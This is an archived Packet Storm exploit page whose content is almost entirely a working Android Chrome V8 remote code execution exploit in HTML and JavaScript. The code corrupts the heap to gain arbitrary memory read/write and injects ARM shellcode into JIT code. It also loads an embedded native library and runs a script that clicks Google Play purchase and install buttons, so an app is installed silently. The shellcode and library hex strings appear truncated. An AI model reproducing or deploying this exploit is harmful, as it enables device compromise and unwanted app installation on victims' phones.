Lucene search

K
packetstormQihoo360PACKETSTORM:142939
HistoryJun 14, 2017 - 12:00 a.m.

Google Chrome V8 Private Property Arbitrary Code Execution

2017-06-1400:00:00
Qihoo360
packetstormsecurity.com
75

0.235 Low

EPSS

Percentile

96.1%

`<html>  
// Source: https://github.com/secmob/pwnfest2016/  
<script>  
function exploit(){  
  
function to_hex(num){  
return (num>>>0).toString(16);  
}  
function intarray_to_double(int_arr){  
var uBuf = new Uint32Array(2);  
var dBuf = new Float64Array(uBuf.buffer);  
uBuf[0]=int_arr[0];  
uBuf[1]=int_arr[1];  
return dBuf[0];  
}  
  
function str_to_double(str){//leng of str must be 8  
var dBuf = new Float64Array(1);  
var u8Buf = new Uint8Array(dBuf.buffer);  
for(var i=0;i<str.length;i++){  
u8Buf[i] = str.charCodeAt(i);  
}  
return dBuf[0];  
}  
function double_to_array(value){  
var uBuf = new Uint32Array(2);  
var dBuf = new Float64Array(uBuf.buffer);  
dBuf[0]=value;  
return uBuf;  
}  
  
function gc(){  
for(var i=0;i<0x100000/16;i++){  
new String;  
}  
}  
function getHiddenValue(){  
var obj = {};  
var oob = "/re/";  
//oob = oob.replace("re","*".repeat(0x2000));  
oob = oob.replace("re","*".repeat(0x100000));  
var str = 'class x extends Array{'+oob+"}";  
var fun = eval(str);  
Object.assign(obj,fun);  
return obj;  
}  
var obWin;  
function makeOobString(){  
var hiddenValue = getHiddenValue();  
var magicStr = "bbbb";  
var arr=[];  
var str = 'class x extends Array{}';  
for(var i=0;i<str.length;i++){  
arr[i]=str.charCodeAt(i);  
}  
var ob = new Array(0x200);  
ob.fill(0x31313131);  
gc();  
gc();  
str=String.fromCharCode.apply(null,arr);  
ob=ob.concat(0x32323232);  
var fun = eval(str);   
ob[2]=str;  
ob[3]=ob;  
Object.assign(fun,hiddenValue);  
var oobString = fun.toString();  
gc();  
gc();  
print("begin search");  
var subStr = oobString.substr(0,0x8000);  
var pos = subStr.indexOf(magicStr);  
print("end search");  
if(pos==-1){  
print("find magic failed");  
postMessage(false);  
self.close();  
print("unpossible");  
throw "error";  
}else{  
print("find magic at "+pos);  
  
}  
oobString = oobString.substr(pos,ob.length*4);  
obWin=ob;  
return oobString;  
}  
var oobString = makeOobString();  
print("get oob string successfully");  
function print(){  
console.log.apply(null,arguments);  
/*document.write('<p >');  
document.write.apply(document,arguments);  
document.write("<p>");*/  
}  
function str2arr(str,len){//len must be multile of 4  
if(len===undefined)  
len = str.length;  
var u8a = new Uint8Array(len);  
for(var i=0;i<len;i++){  
u8a[i] = str.charCodeAt(i);  
}  
return new Uint32Array(u8a.buffer);  
}  
function pArrayInHex(arr){  
var result="<p style='font-size:8px'>";  
for(var i=0;i<arr.length;i++){  
result+=(arr[i]+0x100000000).toString(16).substr(-8);  
result+=" ";  
if(i%8==7)  
result+="<p style='font-size:8px'>";  
}  
result+="<p>";  
print(result);  
//alert(result);  
return result;  
}  
function pStrInHex(str){  
//var result="<p style='font-size:8px'>";  
var result="\n";  
for(var i=0;i<str.length;i++){  
var code = str.charCodeAt(i);  
result+=(code+0x100).toString(16).substr(-2);  
if(i%4==3)  
result+=" ";  
if(i%32==31)  
// result+="<p style='font-size:8px'>";  
result+="\n";  
}  
// result+="<p>";  
result+="\n";  
print(result);  
return result;  
}  
function getObjAddr(obj){  
obWin[0]=obj;  
var value2= ((str2arr(oobString,4))[0]);  
return value2>>>0;  
}  
  
var getObj24BitsAddr = function(){  
var smi=0;  
var code = 0;  
var i=0;  
//don't allocate heap object  
function getAddr(obj){  
obWin[0]=obj;  
value=0;  
code = 0;  
i=0;  
for(i=2;i>=0;i--){  
code = oobString.charCodeAt(i);  
value = code+value*256;  
}  
return value;  
}  
return getAddr;  
}();  
  
  
var lengthInOldSpace = 0xfffffffc;  
var abarr=new Array(800);  
function sprayVM(){  
var i=0;  
var j=0;  
try{  
for(i=0;i<20;i++){  
var u8 = new Uint8Array(0x10000000-0x500);  
abarr[i]=u8;  
}  
}catch(e){}  
try{  
for(j=0;j<100;j++){  
var u8 = new Uint8Array(0x8000000-0x500);  
abarr[i+j]=u8;  
}  
}catch(e){}  
print("allocate "+i+" 256M "+j+" 16M ")  
function getRandomInt(min, max) {  
min = Math.ceil(min);  
max = Math.floor(max);  
return Math.floor(Math.random() * (max - min)) + min;  
}  
delete abarr[getRandomInt(0,i)];  
}  
  
  
function getNewSpaceAddrs(){  
/*var kMaxRegularHeapObjectSize =523776;// 507136;  
var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);  
str+="%";*/  
var objsInNewSpace = new Array(80);  
for(var i=0;i<objsInNewSpace.length;i++){  
//var xx=escape(str);  
var xx = new Array(0x70000/4);  
objsInNewSpace[i]=(getObjAddr(xx)&0xfff00000)>>>0;  
//a1/2?newspaceae'c|>>aePS  
new Uint8Array(0x100000-0x500);  
new Uint8Array(0x100000-0x500);  
}  
function compareNumbers(a, b) {  
return a - b;  
}  
objsInNewSpace = Array.from(new Set(objsInNewSpace));  
objsInNewSpace = objsInNewSpace.sort(compareNumbers);  
return objsInNewSpace;  
}  
  
  
print("begin get new space address");  
var objsInNewSpace = getNewSpaceAddrs();  
while(objsInNewSpace.length<16){  
objsInNewSpace = getNewSpaceAddrs();  
print("new space addresses");  
pArrayInHex(objsInNewSpace);  
}  
  
try{  
sprayVM();  
}catch(e){}  
  
var selectedTrunk = 0;  
var selectedStr = "";  
function bruteForceFengShui(){  
var huge_str = "x".repeat(0x100000-0x9000);//-0x9000  
huge_str +="%";  
var hold = new Array(100);  
//var holdaddress = new Array(100);  
for(var i=0;;i++){  
var large = escape(huge_str);  
var addr = getObjAddr(large);  
//console.log(addr.toString(16) + " "+i);  
if(i<hold.length){  
hold[i]=large;  
//holdaddress[i]=addr;  
}  
addr=(addr&0xfff00000)>>>0;  
addr = addr-0x100000;  
if(objsInNewSpace.indexOf(addr)!=-1){  
selectedTrunk = addr;  
selectedStr = large;  
abarr.fill(1);  
hold.fill(1);  
//holdaddress.fill(1);  
break;  
}  
if(i===150){  
/*i=0;  
print("tried 200 times");  
abarr.fill(1);  
try{  
sprayVM();  
}catch(e){};*/  
postMessage(false);  
close();  
throw "exceed limits";  
}  
}  
}  
bruteForceFengShui();  
//to avoid allocate memory latter, initilize here  
var nextTrunk = selectedTrunk + 0x100000;  
  
//caea,aeP3a$?a$?SSca-e->>aaa  
var huge_str = "eval('');";  
//8000a,e1/2a$?aa$?SSi1/4a$?aa$?SSa1/4a1/2?new_spaceaC/a$?SS  
for(var i=0;i<8000;i++) huge_str += 'a.a;';  
huge_str += "return 10;";  
var huge_func = new Function('a',huge_str);  
huge_func({});  
  
function fillNewSpace(origObj){  
//first object in new space at 0x8100, new spaces layout  
//0x40000  
//0x37f00  
//.....  
//0x40000  
var gap = "g".repeat(0x37f00-12-3);//12 is head of string,3 %25  
var gap = gap+"%";  
//flat gap  
gap.substr(0,100);  
var fillstr = "%20a".repeat((0x40000-12)/4);  
fillstr = escape(fillstr);  
var addr=0;  
for(var i=0;i<0x100;i++){  
addr = getObj24BitsAddr(origObj);  
if((addr&0xfffff)===0x8101)  
origObj=escape(gap);  
else  
origObj=unescape(fillstr);  
}  
}  
  
function findNewSpace(){  
var kMaxRegularHeapObjectSize =523776;// 507136;  
var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);  
str+="%";  
for(var i=0;;i++){  
var xx=escape(str);  
var straddr = getObjAddr(xx);  
addr=(straddr&0xfff00000)>>>0;  
if(addr===selectedTrunk){  
print("good state "+straddr.toString(16));  
break;  
}  
}  
}  
  
function myencode(str){  
var arr = [];  
for(var i=0;i<str.length;i++){  
if(i%2==1)  
arr.push(str.charCodeAt(i));  
else{  
arr.push(37);//%  
var hexstr = (str.charCodeAt(i)+0x100).toString(16).substr(-2);  
arr.push(hexstr.charCodeAt(0));  
arr.push(hexstr.charCodeAt(1));  
}  
}  
return String.fromCharCode.apply(null,arr);  
}  
  
var dArray = [];  
var index = (0x8100-36)*2;  
for(var i=0;i<0x20000/8;i++){  
dArray[i]=str_to_double("%03x%03x");  
}  
  
var occulen = 0;  
var i = 0;  
var savedChunk = new Uint8Array(0x8100);  
var hiddenValue = getHiddenValue();  
var arr=[];  
fillNewSpace(new String);  
findNewSpace();  
var classStr = 'class x extends Array{}';  
for(var i=0;i<classStr.length;i++){  
arr[i]=classStr.charCodeAt(i);  
}  
var magicStr = String.fromCharCode(0x86,0x24);  
classStr=String.fromCharCode.apply(null,arr);  
var ab = new ArrayBuffer(0x1243);  
var fun = eval(classStr);   
Object.assign(fun,hiddenValue);  
var oobStr = fun.toString();  
  
/*(gdb) x/20xw 0x5600c45c array buffer layout  
* 0x5600c45c: 0x4b009a9d 0x41008125 0x41008125 0x00000020  
* 0x5600c46c: 0x09fda368 0x00000004 0x00000000 0x00000000  
*/  
//overwrite huge string as array buffer  
var abLengthIndex = oobStr.indexOf(magicStr);  
var strArrayBuffer = oobStr.substr(abLengthIndex-12,32);  
//replace the byteLength  
var LengthAddr = getObjAddr(lengthInOldSpace);  
var strLength = String.fromCharCode(0xff&LengthAddr,(0xff00&LengthAddr)>>8,(0xff0000&LengthAddr)>>16,(0xff000000&LengthAddr)>>24);  
var strBase = "\x00\x00\x00\x00";  
strArrayBuffer = strArrayBuffer.substr(0,12)+strLength+strBase+strArrayBuffer.substr(20,12);  
strArrayBuffer = myencode(strArrayBuffer);  
for(var i=0;i<strArrayBuffer.length/8;i++){  
var d = strArrayBuffer.substr(i*8,8);  
dArray[index/8+i] = str_to_double(d);  
}  
  
var classStrAddr = getObjAddr(classStr)>>>0;  
//set read position  
var readOffset = 0x100000-((classStrAddr-1)&0xfffff)-12-0x40000;//12 string head  
//length control the length of unscaped string, generated string has 12 bytes head  
//left 0x1000*2 bytes to avoid gc  
var subOobStr = oobStr.substr(readOffset,0x40000-24-0x2000);  
  
//save the the chunk head to be corrupted  
var nextThunkOffset = 0x100000-((classStrAddr-1)&0xfffff)-12;  
var savedThunkStr = oobStr.substr(nextThunkOffset,0x8100);  
for(var i =0;i<savedThunkStr.length;i++){  
savedChunk[i] = savedThunkStr.charCodeAt(i);  
}  
  
var pos1=new String;  
var pos1addr = getObj24BitsAddr(pos1)-1;  
  
//0x10 size of JSArray, 0x10 size of String head, 8 ALLOCATION_MEMENTO_TYPE 8 fixedarray   
occulen =0x100000-((pos1addr+0x10+0x10+0x8+0x8)&0xfffff);  
//minus the length of double array  
if(occulen<0x40000+16+8)  
throw "no enough room";  
occulen = occulen - 0x40000-16-8;//16 size of JSArray, 8 fixedarray  
if(occulen%4!==0)  
throw "length don't align";  
var arrocc=new Array((occulen/4));   
//set unescape write position  
var occDoubleArray = dArray.concat();  
  
var b=unescape(subOobStr);  
//restore the corrupted chunk head  
var u8 = new Uint8Array(selectedStr,nextTrunk,0x8100);  
for(var i=0;i<savedChunk.length;i++){  
u8[i] = savedChunk[i];  
}  
  
print("long string allocated at "+classStrAddr.toString(16));  
if(typeof(selectedStr)==="string"){  
print("overwrite failed");  
postMessage(false);  
close();  
return;  
//throw "overwrite failed";  
}  
var fakeab = selectedStr;  
print("faked array buffer byte length is "+fakeab.byteLength.toString(16));  
var globaldv = new Uint32Array(fakeab);  
  
function read_uint32(from_address){  
var u32 = globaldv[(from_address/4)>>>0];  
return u32>>>0;  
}  
  
  
function read_uint8(from_address){  
from_address = from_address>>>0;  
var index = (from_address/4)>>>0;  
var mask = from_address%4;  
var u32 = globaldv[index];  
u32 = u32<<8*(3-mask);  
return u32>>>24;  
}  
  
function read_uint32_unalign(from_address){  
var u32 = 0;  
for(var i=3;i>=0;i--){  
var u8 = read_uint8(from_address+i);  
u32 = u32*0x100+u8;  
}  
return u32>>>0;  
}  
  
//rw to execute  
//get function point of v8::internal::Accessors::ReconfigureToDataProperty  
function getFixedFunctionPoint(fakeab){  
var FunctionAddress = getObjAddr(Function);  
var u32 = new Uint32Array(fakeab,FunctionAddress-1,0x1000);  
var map = u32[0];  
u32 = new Uint32Array(fakeab,map-1,0x1000);  
//instance descriptors  
var descriptors = u32[7];  
u32 = new Uint32Array(fakeab,descriptors-1,0x1000);  
var lengthAccessorInfo = u32[6];  
u32 = new Uint32Array(fakeab,lengthAccessorInfo-1,0x1000);  
var setterForeign = u32[4];  
u32 = new Uint32Array(fakeab,setterForeign-1,0x1000);  
var functionPoint = u32[1];  
return functionPoint-1;  
}  
  
var funPoint = getFixedFunctionPoint(fakeab);  
print("ReconfigureToDataProperty at"+funPoint.toString(16));  
var pattern=[0x03,0x46,0x18,0xb1,0x20,0x46,0x98,0x47,0x04,0x46];//get_elf_hwcap_from_getauxval  
  
var point = ((funPoint&~0xfff)-0xdb6000)>>>0;//cf0000  
print("chrome.apk base at "+point.toString(16));  
  
function find(startAddr,len,pattern){  
for(var i=0; i<(len-pattern.length); i++ ) {  
for(var j=0;j<pattern.length;j++){  
var temp = read_uint8(startAddr+i+j);  
//print(temp.toString(16));  
if(temp!=pattern[j]) break;  
}  
if(j==pattern.length) return startAddr+i;  
}  
print("find failed");  
}  
var pattern_position=find(point,0x10000000,pattern);  
  
print("find pattern at "+to_hex(pattern_position));  
  
  
  
  
  
function get_dest_from_blx(addr) {  
var val = read_uint32_unalign(addr);  
var s = (val & 0x400) >> 10;  
var i1 = 1 - (((val & 0x20000000) >> 29) ^ s);  
var i2 = 1 - (((val & 0x8000000) >> 27) ^ s);  
var i10h = val & 0x3ff;  
var i10l = (val & 0x7fe0000) >> 17;  
var off = ((s * 0xff) << 24) | (i1 << 23) | (i2 << 22) | (i10h << 12) | (i10l << 2);  
return ((addr + 4) & ~3) + off;  
}  
  
function backup_original_code(start_address){  
var backup_arr = [];  
set_access_address(start_address);  
var u8arr=new Uint8Array(faked_ab);  
for(var i=0;i<shellcode.length+4096;i++){  
backup_arr[i]=u8arr[i];  
}  
return backup_arr;  
}  
  
function restore_original_code(start_address,backup_arr){  
set_access_address(start_address);  
var u8arr=new Uint8Array(faked_ab);  
for(var i=0;i<shellcode.length+4096;i++){  
u8arr[i]=backup_arr[i];  
}  
}  
  
  
huge_func({});  
print("blx instruction content is "+to_hex(read_uint32_unalign(pattern_position-4)));  
var dlsym_addr = get_dest_from_blx(pattern_position-4);  
print("dlsym address is "+to_hex(dlsym_addr));  
var huge_func_address = getObjAddr(huge_func)-1;  
print("huge func address is "+to_hex(huge_func_address));  
for(var i=0;i<20;i++){  
print(to_hex(read_uint32(huge_func_address+i*4)));  
}  
var huge_func_code_entry = read_uint32(huge_func_address+7*4);//dynamic kCodeEntryOffset 3*4  
print("huge func code entry is "+to_hex(huge_func_code_entry));  
print(to_hex(read_uint32(huge_func_code_entry)));  
  
//var so_str= "";  
var shellcode = [0xf0,0x4f,0x2d,0xe9,0x79,0x30,0xa0,0xe3,0x8c,0x0b,0xdf,0xed,0x4b,0xdf,0x4d,0xe2,0x61,0x80,0xa0,0xe3,0x00,0x60,0xa0,0xe3,0x73,0x10,0xa0,0xe3,0x74,0x20,0xa0,0xe3,0x5f,0x90,0xa0,0xe3,0x61,0x30,0xcd,0xe5,0x65,0xa0,0xa0,0xe3,0x6d,0xb0,0xa0,0xe3,0x5b,0x30,0xcd,0xe5,0x6e,0xc0,0xa0,0xe3,0x6c,0x30,0xa0,0xe3,0xfa,0x80,0xcd,0xe5,0x64,0x70,0xa0,0xe3,0x72,0x50,0xa0,0xe3,0x60,0x10,0xcd,0xe5,0x6f,0x40,0xa0,0xe3,0x69,0xe0,0xa0,0xe3,0x62,0x10,0xcd,0xe5,0x67,0x80,0xa0,0xe3,0x5a,0x10,0xcd,0xe5,0x18,0x00,0x8d,0xe5,0x70,0x00,0xa0,0xe3,0x63,0x20,0xcd,0xe5,0x0a,0x21,0xcd,0xe5,0x64,0xa0,0xcd,0xe5,0x65,0xb0,0xcd,0xe5,0x5c,0xb0,0xcd,0xe5,0xf8,0x90,0xcd,0xe5,0xf9,0x90,0xcd,0xe5,0x01,0x91,0xcd,0xe5,0x05,0x91,0xcd,0xe5,0x20,0x90,0xa0,0xe3,0xfb,0xc0,0xcd,0xe5,0x09,0xc1,0xcd,0xe5,0xfc,0x70,0xcd,0xe5,0x00,0x71,0xcd,0xe5,0x58,0x70,0xcd,0xe5,0x78,0x70,0xa0,0xe3,0xfd,0x50,0xcd,0xe5,0x07,0x51,0xcd,0xe5,0xfe,0x40,0xcd,0xe5,0x03,0x41,0xcd,0xe5,0xff,0xe0,0xcd,0xe5,0x08,0xe1,0xcd,0xe5,0x02,0x31,0xcd,0xe5,0x59,0x30,0xcd,0xe5,0x66,0x60,0xcd,0xe5,0x0b,0x61,0xcd,0xe5,0x5d,0x60,0xcd,0xe5,0x04,0x81,0xcd,0xe5,0x25,0x80,0xa0,0xe3,0x1c,0x0b,0xcd,0xed,0xeb,0x10,0xcd,0xe5,0x18,0x10,0x9d,0xe5,0x9c,0x20,0xcd,0xe5,0x9f,0x20,0xcd,0xe5,0x18,0x20,0x9d,0xe5,0x98,0xb0,0xcd,0xe5,0x2c,0xb0,0xa0,0xe3,0x9d,0xa0,0xcd,0xe5,0xe8,0xe0,0xcd,0xe5,0x63,0xe0,0xa0,0xe3,0xe9,0xc0,0xcd,0xe5,0xe8,0xc0,0x8d,0xe2,0xed,0xa0,0xcd,0xe5,0x70,0xa0,0x8d,0xe2,0xee,0x30,0xcd,0xe5,0xef,0x30,0xcd,0xe5,0x68,0x30,0xa0,0xe3,0x34,0xc0,0x8d,0xe5,0x9e,0xe0,0xcd,0xe5,0xec,0x30,0xcd,0xe5,0x06,0x01,0xcd,0xe5,0x99,0x00,0xcd,0xe5,0x06,0x00,0xa0,0xe1,0x9a,0x50,0xcd,0xe5,0x00,0x50,0x91,0xe5,0x06,0x10,0xa0,0xe1,0x9b,0x40,0xcd,0xe5,0x04,0x40,0x92,0xe5,0x38,0xa0,0x8d,0xe5,0xea,0x90,0xcd,0xe5,0xf0,0x90,0xcd,0xe5,0xf1,0x80,0xcd,0xe5,0xf4,0x80,0xcd,0xe5,0xf2,0x70,0xcd,0xe5,0xf5,0x70,0xcd,0xe5,0xf3,0xb0,0xcd,0xe5,0xa0,0x60,0xcd,0xe5,0xf6,0x60,0xcd,0xe5,0x35,0xff,0x2f,0xe1,0x10,0x00,0x8d,0xe5,0x58,0x10,0x8d,0xe2,0x34,0xff,0x2f,0xe1,0x1c,0x00,0x8d,0xe5,0xf8,0x10,0x8d,0xe2,0x10,0x00,0x9d,0xe5,0x1c,0x90,0x9d,0xe5,0x39,0xff,0x2f,0xe1,0x18,0x80,0x9d,0xe5,0x30,0x00,0x8d,0xe5,0xe8,0x20,0x8d,0xe2,0x70,0x10,0x8d,0xe2,0x30,0xb0,0x9d,0xe5,0x02,0x00,0xa0,0xe3,0x04,0x70,0x98,0xe5,0x00,0x30,0x98,0xe5,0x00,0x70,0x8d,0xe5,0x3b,0xff,0x2f,0xe1,0x60,0x10,0x8d,0xe2,0x1c,0x50,0x9d,0xe5,0x10,0x00,0x9d,0xe5,0x35,0xff,0x2f,0xe1,0x00,0x20,0xa0,0xe1,0x70,0x10,0x8d,0xe2,0x02,0x30,0xa0,0xe1,0x02,0x00,0xa0,0xe3,0x00,0x20,0x8d,0xe5,0xe8,0x20,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0x98,0x10,0x8d,0xe2,0x1c,0x40,0x9d,0xe5,0x10,0x00,0x9d,0xe5,0x34,0xff,0x2f,0xe1,0x00,0xa0,0xa0,0xe1,0x18,0x00,0x9d,0xe5,0x07,0x20,0xa0,0xe3,0x0b,0x1a,0xa0,0xe3,0x10,0x50,0x90,0xe5,0xff,0xce,0xc5,0xe3,0x05,0x4a,0x85,0xe2,0x0f,0x30,0xcc,0xe3,0x01,0x0a,0x83,0xe2,0x3a,0xff,0x2f,0xe1,0xbc,0x72,0xd5,0xe1,0x1c,0x90,0x95,0xe5,0x06,0x00,0x57,0xe1,0x09,0x20,0x85,0xe0,0x06,0x00,0x00,0x1a,0x1b,0x00,0x00,0xea,0x65,0x78,0x70,0x6c,0x6f,0x69,0x74,0x00,0x01,0x60,0x86,0xe2,0x20,0x20,0x82,0xe2,0x07,0x00,0x56,0xe1,0x15,0x00,0x00,0x2a,0x00,0xe0,0x92,0xe5,0x01,0x00,0x5e,0xe3,0xf8,0xff,0xff,0x1a,0x10,0x80,0x92,0xe5,0x00,0x00,0x58,0xe3,0xf5,0xff,0xff,0x0a,0x00,0x00,0xa0,0xe3,0x04,0x70,0x92,0xe5,0x00,0xb0,0x85,0xe0,0x00,0xa0,0x84,0xe0,0x08,0x10,0x92,0xe5,0x01,0x00,0x80,0xe2,0x07,0xc0,0xdb,0xe7,0x01,0xc0,0xca,0xe7,0x10,0x30,0x92,0xe5,0x03,0x00,0x50,0xe1,0xf5,0xff,0xff,0x3a,0xbc,0x72,0xd5,0xe1,0x01,0x60,0x86,0xe2,0x20,0x20,0x82,0xe2,0x07,0x00,0x56,0xe1,0xe9,0xff,0xff,0x3a,0x5f,0xe0,0xa0,0xe3,0x1f,0x0b,0x1f,0xed,0x61,0xb0,0xa0,0xe3,0x72,0x60,0xa0,0xe3,0x00,0x90,0xa0,0xe3,0x10,0x00,0x9d,0xe5,0x64,0xa0,0xa0,0xe3,0x74,0x70,0xa0,0xe3,0x10,0xe1,0xcd,0xe5,0x6e,0x80,0xa0,0xe3,0x69,0x30,0xa0,0xe3,0x11,0xe1,0xcd,0xe5,0x6f,0xc0,0xa0,0xe3,0x6c,0x20,0xa0,0xe3,0x19,0xe1,0xcd,0xe5,0x1d,0xe1,0xcd,0xe5,0x67,0xe0,0xa0,0xe3,0x1e,0x0b,0x8d,0xed,0x12,0xb1,0xcd,0xe5,0x70,0xb0,0xa0,0xe3,0x11,0x1e,0x8d,0xe2,0x14,0xa1,0xcd,0xe5,0x18,0xa1,0xcd,0xe5,0x15,0x61,0xcd,0xe5,0x1f,0x61,0xcd,0xe5,0x16,0xc1,0xcd,0xe5,0x1b,0xc1,0xcd,0xe5,0x1c,0xc0,0x9d,0xe5,0x17,0x31,0xcd,0xe5,0x20,0x31,0xcd,0xe5,0x1a,0x21,0xcd,0xe5,0x1c,0xe1,0xcd,0xe  
var so_str = "7f454c460101010000000000000000000300280001000000000000003400000044110000000000053400200008002800150014000600000034000000340000003400000000010000000100000400000004000000030000003401000034010000340100001300000013000000040000000100000001000000000000000000000000000000d80d0000d80d0000050000000010000001000000a40e0000a41e0000a41e00006c01000082010000060000000010000002000000a80e0000a81e0000a81e00002801000028010000060000000400000051e574640000000000000000000000000000000000000000060000000000000001000070d40c0000d40c0000d40c00002000000020000000040000000400000052e57464a40e0000a41e0000a41e00005c0100005c01000006000000040000002f73797374656d2f62696e2f6c696e6b657200000000000000000000000000000000000001000000000000000000000012000000100000000000000000000000120000001d00000000000000000000001200000034000000000000000000000012000000480000000000000000000000120000004f000000000000000000000012000000560000000000000000000000120000005d000000a00800003404000012000800650000000000000000000000120000006e0000000000000000000000120000007f0000000000000000000000110000009100000010200000000000001000f1ff9800000010200000000000001000f1ffa400000026200000000000001000f1ff005f5f6378615f66696e616c697a65005f5f6378615f617465786974005f5f61656162695f756e77696e645f6370705f707230005f5f616e64726f69645f6c6f675f7072696e74006d616c6c6f63006d656d736574006d656d63707900736f5f6d61696e006d70726f74656374005f5f737461636b5f63686b5f6661696c005f5f737461636b5f63686b5f6775617264005f6564617461005f5f6273735f7374617274005f656e64006c6962632e736f006c69626d2e736f006c6962737464632b2b2e736f006c69626d656469616e646b2e736f006c69627574696c732e736f006c696262696e6465722e736f006c69626d656469612e736f006c696273746167656672696768742e736f006c696273746167656672696768745f666f756e646174696f6e2e736f006c6962637574696c732e736f006c6962696e7075742e736f006c6962646c2e736f006c6962616e64726f69645f72756e74696d652e736f0072636532757873732e736f00000000030000000f0000000c0000000e0000000d0000000000000000000000000000000200000001000000040000000000000006000000050000000800000007000000030000000a000000090000000b000000a41e0000170000000020000017000000d01f0000150b0000e01f000016010000e41f000016020000e81f000016040000ec1f000016050000f01f000016060000f41f000016070000f81f000016090000fc1f0000160a000004e02de504e09fe50ee08fe008f0bee5741b000000c68fe201ca8ce274fbbce500c68fe201ca8ce26cfbbce500c68fe201ca8ce264fbbce500c68fe201ca8ce25cfbbce500c68fe201ca8ce254fbbce500c68fe201ca8ce24cfbbce500c68fe201ca8ce244fbbce500c68fe201ca8ce23cfbbce500482de904b08de20c309fe503308fe00300a0e1e1ffffeb0088bde8281b000000482de904b08de208d04de208000be508301be5000053e30100000a08301be533ff2fe104d04be20088bde800482de904b08de208d04de208000be528309fe503308fe00300a0e108101be51c309fe503308fe00320a0e1cbffffeb0030a0e10300a0e104d04be20088bde8b8ffffffc41a000020d04de20c008de508108de504208de500308de50030a0e31730cde50030a0e318308de5210000ea0030a0e31c308de50030a0e31c308de50f0000ea18209de51c309de5033082e004209de5033082e00020d3e50c109de51c309de5033081e00030d3e5030052e10000000a060000ea1c309de5013083e21c308de51c209de508309de5030052e1ebffff3a1c209de508309de5030052e10100001a18309de5090000ea18309de5013083e218308de518209de508309de5032082e000309de5030052e1d7ffff9a0030e0e30300a0e120d08de21eff2fe104e02de524d04de20c008de508108de514329fe503308fe0003093e50320a0e108329fe503308fe002c0a0e10700b3e800008ce504108ce508208ce5f0319fe503308fe00030d3e5013023e27330efe6000053e36900000ad8319fe503308fe00120a0e30020c3e508309de500308de50600a0e3c0319fe503308fe00310a0e1b8319fe503308fe00320a0e10c309de56dffffeb08309de5003093e510308de510309de5043083e2003093e514308de510309de50c3083e218308de518309de500308de50600a0e374319fe503308fe00310a0e16c319fe503308fe00320a0e114309de558ffffeb5c319fe503308fe0002093e514309de5033082e00300a0e154ffffeb0030a0e11c308de53c319fe503308fe0002093e514309de5033082e01c009de50010a0e30320a0e14cffffeb10309de51c009de50310a0e10c20a0e34affffeb1c309de50c1083e200319fe503308fe0002093e5f8309fe503308fe0003093e50100a0e10210a0e10320a0e13effffebe0309fe503308fe0003093e50c3083e21c209de5032082e018309de50200a0e10310a0e114209de533ffffeb1c309de5043083e2b0209fe502208fe0001092e514209de5022081e0002083e51c309de5043083e20  
var arrayBuffer = new ArrayBuffer(0x1000000);  
var arrayBufferAddress = getObjAddr(arrayBuffer)-1;  
var backingStoreAddress = read_uint32(arrayBufferAddress+4*4);  
var args_address = backingStoreAddress+1024;  
function write_shellcode(dlsym_addr,buffer){  
//ldr r0,[pc,4]//0xe59f0004   
//ldr r1,[pc,4]//0xe59f1004  
//b shellcode;//0xea000001  
//dlopen_addr//array_buffer_address  
//dlsym_addr  
//shellcode  
//var stub=[0xe59f0004,0xe59f1004,0xea000001,dlsym_addr+0xc,dlsym_addr];  
var stub=[0xe59f0004,0xe59f1004,0xea000001,args_address,0x1000000];  
for(var i=0;i<stub.length;i++){  
globaldv[buffer/4+i]=stub[i];  
}  
  
shellcode = shellcode.concat([0,0,0,0]);  
for(var i=0;i<shellcode.length/4>>>0;i++){  
// u8arr[i+4*stub.length]=shellcode[i];  
globaldv[buffer/4+stub.length+i] = (shellcode[4*i+3]<<24)+(shellcode[4*i+2]<<16)+(shellcode[4*i+1]<<8)+(shellcode[4*i]);  
}  
return stub.length*4+shellcode.length;  
}  
  
function xss_code(){  
//alert(navigator.userAgent);  
//alert(document.cookie);  
var i1=setInterval(function(){  
if(!(document&&document.body&&document.body.innerHTML&&document.body.innerHTML.match(/This app is compatible/)!=null)){  
console.log("wait load complete");  
return;  
}  
clearInterval(i1);  
var i2=setInterval(function(){  
document.getElementsByClassName("price buy id-track-click")[0].click();  
var installButton = document.getElementById("purchase-ok-button");  
if(installButton == null)  
return;  
installButton.click();  
document.write("<h1>The app will be installed shortly, Pwned by 360 Alpha Team</h1>");  
clearInterval(i2);  
setTimeout(function(){  
window.open("intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end");  
},26000);  
},500);  
},500);  
}  
  
var js_str="\n"+xss_code.toString()+"xss_code();\n";  
//var backup_arr = backup_original_code(huge_func_code_entry);  
var writed_len = write_shellcode(dlsym_addr,huge_func_code_entry);  
var args_view = new DataView(arrayBuffer,1024,100);  
var so_file_view = new DataView(arrayBuffer,4096);  
var js_view = new DataView(arrayBuffer,0x100000);  
args_view.setUint32(0,dlsym_addr+0xc,true);  
args_view.setUint32(4,dlsym_addr,true);  
args_view.setUint32(8,huge_func_code_entry,true);  
args_view.setUint32(12,writed_len,true);  
args_view.setUint32(16,backingStoreAddress+4096,true);  
args_view.setUint32(20,so_str.length/2,true);  
args_view.setUint32(24,backingStoreAddress+0x100000,true);  
args_view.setUint32(28,js_str.length,true);  
print("length is "+so_str.length);  
for(var i=0;i<so_str.length;i+=2){  
var value = so_str.substr(i,2);  
value = "0x"+value;  
so_file_view.setUint8(i/2,parseInt(value));  
}  
for(var i=0;i<js_str.length;i++){  
js_view.setUint8(i,js_str.charCodeAt(i));  
}  
  
print("begin execute shellcode");  
huge_func({});  
  
print("done");  
postMessage(true);  
//prevent arrayBuffer to be released  
while(1){}  
  
}  
//main world  
function print(){  
console.log.apply(null,arguments);  
document.write('<p >');  
document.write.apply(document,arguments);  
document.write("<p>");  
}  
  
// Build a worker from an anonymous function body  
var blobURL = URL.createObjectURL( new Blob([ '(',exploit.toString(),')()' ], { type: 'application/javascript' } ) );  
  
var worker;  
var exploitSucc = false;  
var count = 0;  
function startExploit(){  
print("worker thread is started");  
worker = new Worker( blobURL );  
count++;  
worker.onmessage = function(e){  
print("exploit result is "+e.data);  
exploitSucc = e.data;  
if(exploitSucc==false){  
startExploit();  
return;  
}  
var end = +new Date();  
print("time diff is "+(end-begin)/1000);  
//top.location='https://play.google.com/store/apps/details?id=com.google.zxing.client.android';  
top.location='https://play.google.com/store/apps/details?id=com.kitkats.qrscanner';  
}  
}  
var begin = +new Date();  
startExploit();  
  
